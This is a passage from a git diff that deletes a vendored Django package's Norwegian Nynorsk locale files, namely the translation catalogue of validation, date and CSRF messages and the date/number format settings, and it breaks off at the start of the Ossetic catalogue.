"Georgian" -msgstr "Georgisk" - -msgid "Kabyle" -msgstr "Kabylsk" - -msgid "Kazakh" -msgstr "Kasakhisk" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreansk" - -msgid "Kyrgyz" -msgstr "Kirgisisk" - -msgid "Luxembourgish" -msgstr "Luxembourgsk" - -msgid "Lithuanian" -msgstr "Litauisk" - -msgid "Latvian" -msgstr "Latvisk" - -msgid "Macedonian" -msgstr "Makedonsk" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolsk" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malayisk" - -msgid "Burmese" -msgstr "Burmesisk" - -msgid "Norwegian Bokmål" -msgstr "Norsk (bokmål)" - -msgid "Nepali" -msgstr "Nepali" - -msgid "Dutch" -msgstr "Nederlandsk" - -msgid "Norwegian Nynorsk" -msgstr "Norsk (nynorsk)" - -msgid "Ossetic" -msgstr "Ossetisk" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polsk" - -msgid "Portuguese" -msgstr "Portugisisk" - -msgid "Brazilian Portuguese" -msgstr "Brasiliansk portugisisk" - -msgid "Romanian" -msgstr "Rumensk" - -msgid "Russian" -msgstr "Russisk" - -msgid "Slovak" -msgstr "Slovakisk" - -msgid "Slovenian" -msgstr "Slovensk" - -msgid "Albanian" -msgstr "Albansk" - -msgid "Serbian" -msgstr "Serbisk" - -msgid "Serbian Latin" -msgstr "Serbisk latin" - -msgid "Swedish" -msgstr "Svensk" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tadsjikisk" - -msgid "Thai" -msgstr "Thai" - -msgid "Turkmen" -msgstr "Turkmensk" - -msgid "Turkish" -msgstr "Tyrkisk" - -msgid "Tatar" -msgstr "Tatarisk" - -msgid "Udmurt" -msgstr "Udmurtisk" - -msgid "Ukrainian" -msgstr "Ukrainsk" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Usbekisk" - -msgid "Vietnamese" -msgstr "Vietnamesisk" - -msgid "Simplified Chinese" -msgstr "Simplifisert kinesisk" - -msgid "Traditional Chinese" -msgstr "Tradisjonell kinesisk" - -msgid "Messages" -msgstr "Meldingar" - -msgid "Site Maps" -msgstr "Sidekart" - -msgid "Static Files" -msgstr "Statiske Filer" - -msgid "Syndication" -msgstr "Syndikering" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Sidenummeret er ikkje eit heiltal" - -msgid "That page number is less than 1" -msgstr "Sidenummeret er mindre enn 1" - -msgid "That page contains no results" -msgstr "Sida har ingen resultat" - -msgid "Enter a valid value." -msgstr "Oppgje ein gyldig verdi." - -msgid "Enter a valid URL." -msgstr "Oppgje ei gyldig nettadresse." - -msgid "Enter a valid integer." -msgstr "Oppgje eit gyldig heiltal." - -msgid "Enter a valid email address." -msgstr "Oppgje ei gyldig e-postadresse." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Oppgje ein gyldig \"slug\" som består av bokstavar, nummer, understrekar " -"eller bindestrekar." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Oppgje ein gyldig \"slug\" som består av Unicode bokstavar, nummer, " -"understrekar eller bindestrekar." - -msgid "Enter a valid IPv4 address." -msgstr "Oppgje ei gyldig IPv4-adresse." - -msgid "Enter a valid IPv6 address." -msgstr "Skriv inn ei gyldig IPv6-adresse." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Skriv inn ei gyldig IPv4- eller IPv6-adresse." - -msgid "Enter only digits separated by commas." -msgstr "Oppgje berre tall skild med komma." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Verdien må minimum ha %(limit_value)s teikn (den er %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Verdien må vere mindre enn eller lik %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Verdien må vere større enn eller lik %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "Verdien må ha minst %(limit_value)d teikn (den har %(show_value)d)." -msgstr[1] "Verdien må ha minst %(limit_value)d teikn (den har %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Verdien kan ikkje ha fleire enn %(limit_value)d teikn (den har " -"%(show_value)d)." -msgstr[1] "" -"Verdien kan ikkje ha fleire enn %(limit_value)d teikn (den har " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Oppgje eit tal." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Verdien kan ikkje ha meir enn %(max)s siffer totalt." -msgstr[1] "Verdien kan ikkje ha meir enn %(max)s siffer totalt." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Verdien kan ikkie ha meir enn %(max)s desimal." -msgstr[1] "Verdien kan ikkie ha meir enn %(max)s desimalar." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Verdien kan ikkje ha meir enn %(max)s siffer framanfor komma." -msgstr[1] "Verdien kan ikkje ha meir enn %(max)s siffer framanfor komma." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Filtypen “%(extension)s” er ikkje tillate. Tillate filtypar er: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Null-teikn er ikkje tillate." - -msgid "and" -msgstr "og" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s med %(field_labels)s fins allereie." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Verdi %(value)r er eit ugyldig val." - -msgid "This field cannot be null." -msgstr "Feltet kan ikkje vere tomt." - -msgid "This field cannot be blank." -msgstr "Feltet kan ikkje vere tomt." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s med %(field_label)s fins allereie." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "%(field_label)s må vere unik for %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Felt av typen: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Verdien “%(value)s” må vere anten True eller False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Verdien “%(value)s” må vere anten True, False, eller None." - -msgid "Boolean (Either True or False)" -msgstr "Boolsk (True eller False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Tekst (opp til %(max_length)s teikn)" - -msgid "Comma-separated integers" -msgstr "Heiltal skild med komma" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Verdien “%(value)s” har eit ugyldig datoformat. Det må vere på formen YYYY-" -"MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Verdien “%(value)s” har rett format (YYYY-MM-DD) men er ein ugyldig dato." - -msgid "Date (without time)" -msgstr "Dato (utan tid)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Verdien “%(value)s” har eit ugyldig format. Det må vere på formen YYYY-MM-DD " -"HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Verdien “%(value)s” har rett format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) men " -"er ein ugyldig dato eller klokkeslett." - -msgid "Date (with time)" -msgstr "Dato (med tid)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Verdien “%(value)s” må vere eit desimaltal." - -msgid "Decimal number" -msgstr "Desimaltal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Verdien “%(value)s” har eit ugyldig format. Det må vere på formen [DD] " -"[[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Varigskap" - -msgid "Email address" -msgstr "E-postadresse" - -msgid "File path" -msgstr "Filsti" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Verdien “%(value)s” må vere eit flyttal." - -msgid "Floating point number" -msgstr "Flyttal" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Verdien “%(value)s” må vere eit heiltal." - -msgid "Integer" -msgstr "Heiltal" - -msgid "Big (8 byte) integer" -msgstr "Stort (8 bitar) heiltal" - -msgid "Small integer" -msgstr "Lite heiltal" - -msgid "IPv4 address" -msgstr "IPv4-adresse" - -msgid "IP address" -msgstr "IP-adresse" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Verdien “%(value)s” må vere anten None, True, eller False." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolsk (True, False eller None)" - -msgid "Positive big integer" -msgstr "Positivt stort heiltal" - -msgid "Positive integer" -msgstr "Positivt heiltal" - -msgid "Positive small integer" -msgstr "Positivt lite heiltal" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (opp til %(max_length)s)" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Verdien “%(value)s” har eit ugyldig format. Det må vere på formen HH:MM[:ss[." -"uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Verdien “%(value)s” har rett format (HH:MM[:ss[.uuuuuu]]), men er eit " -"ugyldig klokkeslett." - -msgid "Time" -msgstr "Tid" - -msgid "URL" -msgstr "Nettadresse" - -msgid "Raw binary data" -msgstr "Rå binærdata" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” er ikkje ein gyldig UUID." - -msgid "Universally unique identifier" -msgstr "Universelt unik identifikator." - -msgid "File" -msgstr "Fil" - -msgid "Image" -msgstr "Bilete" - -msgid "A JSON object" -msgstr "Eit JSON-objekt" - -msgid "Value must be valid JSON." -msgstr "Verdi må vere gyldig JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s-instans med %(field)s %(value)r eksisterer ikkje." - -msgid "Foreign Key (type determined by related field)" -msgstr "Fremmednøkkel (type bestemt av relatert felt)" - -msgid "One-to-one relationship" -msgstr "Ein-til-ein-forhold" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s-relasjon" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s-relasjonar" - -msgid "Many-to-many relationship" -msgstr "Mange-til-mange-forhold" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Feltet er påkravd." - -msgid "Enter a whole number." -msgstr "Oppgje eit heiltal." - -msgid "Enter a valid date." -msgstr "Oppgje ein gyldig dato." - -msgid "Enter a valid time." -msgstr "Oppgje eit gyldig tidspunkt." - -msgid "Enter a valid date/time." -msgstr "Oppgje gyldig dato og tidspunkt." - -msgid "Enter a valid duration." -msgstr "Oppgje ein gyldig varigskap." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Antal dagar må vere mellom {min_days} og {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Inga fil vart sendt. Sjekk \"encoding\"-typen på skjemaet." - -msgid "No file was submitted." -msgstr "Inga fil vart sendt." - -msgid "The submitted file is empty." -msgstr "Fila er tom." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Filnamnet kan ikkje ha fleire enn %(max)d teikn (det har %(length)d)." -msgstr[1] "" -"Filnamnet kan ikkje ha fleire enn %(max)d teikn (det har %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Last enten opp ei fil eller huk av i avkryssingsboksen." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Last opp eit gyldig bilete. Fila du lasta opp var ødelagt eller ikkje eit " -"bilete." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Velg eit gyldig valg. %(value)s er ikkje eit av dei tilgjengelege valga." - -msgid "Enter a list of values." -msgstr "Oppgje ei liste med verdiar." - -msgid "Enter a complete value." -msgstr "Oppgje ein fullstendig verdi." - -msgid "Enter a valid UUID." -msgstr "Oppgje ein gyldig UUID." - -msgid "Enter a valid JSON." -msgstr "Oppgje gyldig JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Gøymt felt %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm data manglar eller har blitt tukla med. Felt som manglar: " -"%(field_names)s. Du burde kanskje sende ein feilrapport dersom problemet " -"fortset. " - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "Ver vennleg å ikkje sende inn fleire enn %d skjema. " -msgstr[1] "Ver vennleg å ikkje sende inn fleire enn %d skjema. " - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "Ver vennleg å sende inn minst %d skjema. " -msgstr[1] "Ver vennleg å sende inn minst %d skjema. " - -msgid "Order" -msgstr "Rekkefølge" - -msgid "Delete" -msgstr "Slett" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Korriger dupliserte data for %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Korriger dupliserte data for %(field)s, som må vere unike." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Korriger dupliserte data for %(field_name)s, som må vere unike for " -"%(lookup)s i %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Korriger dei dupliserte verdiane nedanfor." - -msgid "The inline value did not match the parent instance." -msgstr "Inline verdien stemmer ikkje overeins med forelder-instansen.  " - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Velg eit gyldig valg. Valget er ikkje eit av dei tilgjengelege valga." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” er ikkje ein gyldig verdi." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s kunne ikkje bli tolka i tidssona %(current_timezone)s; Verdien " -"er anten tvetydig eller ugyldig." - -msgid "Clear" -msgstr "Tøm" - -msgid "Currently" -msgstr "Noverande" - -msgid "Change" -msgstr "Endre" - -msgid "Unknown" -msgstr "Ukjend" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nei" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ja,nei,kanskje" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "midnatt" - -msgid "noon" -msgstr "12:00" - -msgid "Monday" -msgstr "måndag" - -msgid "Tuesday" -msgstr "tysdag" - -msgid "Wednesday" -msgstr "onsdag" - -msgid "Thursday" -msgstr "torsdag" - -msgid "Friday" -msgstr "fredag" - -msgid "Saturday" -msgstr "laurdag" - -msgid "Sunday" -msgstr "søndag" - -msgid "Mon" -msgstr "man" - -msgid "Tue" -msgstr "tys" - -msgid "Wed" -msgstr "ons" - -msgid "Thu" -msgstr "tor" - -msgid "Fri" -msgstr "fre" - -msgid "Sat" -msgstr "lau" - -msgid "Sun" -msgstr "søn" - -msgid "January" -msgstr "januar" - -msgid "February" -msgstr "februar" - -msgid "March" -msgstr "mars" - -msgid "April" -msgstr "april" - -msgid "May" -msgstr "mai" - -msgid "June" -msgstr "juni" - -msgid "July" -msgstr "juli" - -msgid "August" -msgstr "august" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "oktober" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "desember" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mars" - -msgid "apr" -msgstr "april" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "juni" - -msgid "jul" -msgstr "juli" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "des" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "mars" - -msgctxt "abbrev. month" -msgid "April" -msgstr "april" - -msgctxt "abbrev. month" -msgid "May" -msgstr "mai" - -msgctxt "abbrev. month" -msgid "June" -msgstr "juni" - -msgctxt "abbrev. month" -msgid "July" -msgstr "juli" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sep." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "des." - -msgctxt "alt. month" -msgid "January" -msgstr "Januar" - -msgctxt "alt. month" -msgid "February" -msgstr "Februar" - -msgctxt "alt. month" -msgid "March" -msgstr "Mars" - -msgctxt "alt. month" -msgid "April" -msgstr "April" - -msgctxt "alt. month" -msgid "May" -msgstr "Mai" - -msgctxt "alt. month" -msgid "June" -msgstr "Juni" - -msgctxt "alt. month" -msgid "July" -msgstr "Juli" - -msgctxt "alt. month" -msgid "August" -msgstr "August" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "November" - -msgctxt "alt. month" -msgid "December" -msgstr "Desember" - -msgid "This is not a valid IPv6 address." -msgstr "Dette er ikkje ei gyldig IPv6-adresse." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "eller" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d år" -msgstr[1] "%(num)d år" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d månad" -msgstr[1] "%(num)d månader" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d veke" -msgstr[1] "%(num)d veker" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dag" -msgstr[1] "%(num)d dagar" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d time" -msgstr[1] "%(num)d timar" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minutt" -msgstr[1] "%(num)d minutt" - -msgid "Forbidden" -msgstr "Forbydd" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF-verifikasjon feila. Førespurnad avbrote." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Du ser denne meldinga på grunn av at det ikkje blei sendt nokon \"Referer\" " -"hovud frå din nettlesar, noko denne HTTPS-sida krev. Dette hovudet er eit " -"krav på grunn av sikkerheit, for å hindre at din nettlesar er kapra av " -"tredjepartar. " - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Dersom du har konfigurert nettlesaren din til å deaktiverere \"Referer\"-" -"hovud må du aktivere dei på nytt, i det minste for denne nettsida, eller for " -"HTTPS-tilkoplingar eller for førespurnadar av same opphav. " - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Dersom du brukar -taggen " -"eller inkludera \"Referrer-Policy: no-referrer\" hovud, ver vennleg å fjerne " -"dei. CSRF-vern krev \"Referer\" hovud for å gjennomføre strenge kontrollar " -"av referer. Dersom du har bekymringar for personvern bruk alternativ som for lenkjer til tredepartssider" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Du ser denne meldinga fordi denne nettsida krev ein CSRF informasjonskapsel " -"når du sender inn skjema. Denne informasjonskapselen er eit krav på grunn av " -"sikkerheit, for å forsikre at nettlesaren din ikkje er kapra av " -"tredjepartar. " - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Dersom du har konfigurert nettlesaren din til å deaktivere " -"informasjonskapslar, ver vennleg å aktiver dei på nytt, i det minste for " -"denne nettsida, eller for førespurnader av same opphav. " - -msgid "More information is available with DEBUG=True." -msgstr "Meir informasjon er tilgjengeleg med DEBUG=True." - -msgid "No year specified" -msgstr "Årstal ikkje spesifisert" - -msgid "Date out of range" -msgstr "Dato er utanfor rekkjevidde" - -msgid "No month specified" -msgstr "Månad ikkje spesifisert" - -msgid "No day specified" -msgstr "Dag ikkje spesifisert" - -msgid "No week specified" -msgstr "Veke ikkje spesifisert" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s tilgjengeleg" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Framtidig %(verbose_name_plural)s er ikkje tilgjengeleg fordi %(class_name)s." -"allow_future er sett til False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Ugyldig datostreng \"%(datestr)s\" grunna format \"%(format)s\"" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Fann ingen %(verbose_name)s som korresponderte med spørringa" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Sida er ikkje \"last\" og den kan heller ikkje konverterast til eit heiltal. " - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Ugyldig side (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Tom liste og \"%(class_name)s.allow_empty\" er False." - -msgid "Directory indexes are not allowed here." -msgstr "Mappeindeksar er ikkje tillate her." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" eksisterer ikkje" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Indeks for %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Installasjonen var vellykka! Gratulerer!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Sjå utgjevingsnotat for Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"Du ser denne sida fordi DEBUG=True er i innstillingsfila di og du ikkje har konfigurert noka " -"nettadresser." - -msgid "Django Documentation" -msgstr "Django-dokumentasjon" - -msgid "Topics, references, & how-to’s" -msgstr "Tema, referansar, & how-tos" - -msgid "Tutorial: A Polling App" -msgstr "Opplæring: Ein avstemmingsapp" - -msgid "Get started with Django" -msgstr "Kom i gang med Django" - -msgid "Django Community" -msgstr "Django Nettsamfunn" - -msgid "Connect, get help, or contribute" -msgstr "Koble, få hjelp, eller bidra" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nn/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/nn/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nn/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/nn/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 8e02de03..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/nn/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nn/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/nn/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 87f82d7d..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/nn/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nn/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/nn/formats.py deleted file mode 100644 index 0ddb8fef..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/nn/formats.py +++ /dev/null @@ -1,41 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j. F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# Kept ISO formats as they are in first position -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' - # "%d. %b %Y", # '25. okt 2006' - # "%d %b %Y", # '25 okt 2006' - # "%d. %b. %Y", # '25. okt. 2006' - # "%d %b. %Y", # '25 okt. 2006' - # "%d. %B %Y", # '25. oktober 2006' - # "%d %B %Y", # '25 oktober 2006' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/os/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/os/LC_MESSAGES/django.mo deleted file mode 100644 index b17907ef..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/os/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/os/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/os/LC_MESSAGES/django.po deleted file mode 100644 index f3badb7c..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/os/LC_MESSAGES/django.po +++ /dev/null @@ -1,1235 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Soslan Khubulov , 2013 -# Soslan Khubulov , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 